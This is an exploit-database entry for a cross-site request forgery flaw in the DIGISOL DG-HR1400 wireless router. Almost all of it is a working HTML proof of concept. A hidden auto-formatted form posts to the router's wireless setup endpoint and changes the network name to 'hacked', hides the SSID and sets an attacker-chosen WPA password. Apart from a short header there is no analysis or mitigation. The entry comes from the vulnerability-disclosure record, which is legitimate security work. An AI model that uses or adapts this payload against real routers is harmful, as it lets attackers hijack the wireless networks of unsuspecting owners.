DIGISOL DG-HR1400 Wireless Router - Cross-Site Request Forgery Vulnerability

2017-02-21T00:00:00
ID 1337DAY-ID-27065
Type zdt
Reporter Indrajith
Modified 2017-02-21T00:00:00

Description

Exploit for hardware platform in category web applications

                                        
                                            <html>
   Digisol Router CSRF Exploit - Indrajith A.N
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.2.1/form2WlanBasicSetup.cgi" method="POST">
      <input type="hidden" name="mode" value="0" />
      <input type="hidden" name="apssid" value="hacked" />
      <input type="hidden" name="startScanUplinkAp" value="0" />
      <input type="hidden" name="domain" value="1" />
      <input type="hidden" name="hiddenSSID" value="on" />
      <input type="hidden" name="ssid" value="hacked" />
      <input type="hidden" name="band" value="10" />
      <input type="hidden" name="chan" value="6" />
      <input type="hidden" name="chanwid" value="1" />
      <input type="hidden" name="txRate" value="0" />
      <input type="hidden" name="method_cur" value="6" />
      <input type="hidden" name="method" value="6" />
      <input type="hidden" name="authType" value="2" />
      <input type="hidden" name="length" value="1" />
      <input type="hidden" name="format" value="2" />
      <input type="hidden" name="defaultTxKeyId" value="1" />
      <input type="hidden" name="key1" value="0000000000" />
      <input type="hidden" name="pskFormat" value="0" />
      <input type="hidden" name="pskValue" value="csrf1234" />
      <input type="hidden" name="checkWPS2" value="1" />
      <input type="hidden" name="save" value="Apply" />
      <input type="hidden" name="basicrates" value="15" />
      <input type="hidden" name="operrates" value="4095" />
      <input type="hidden" name="submit.htm?wlan_basic.htm" value="Send" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

#  0day.today [2018-03-19]  #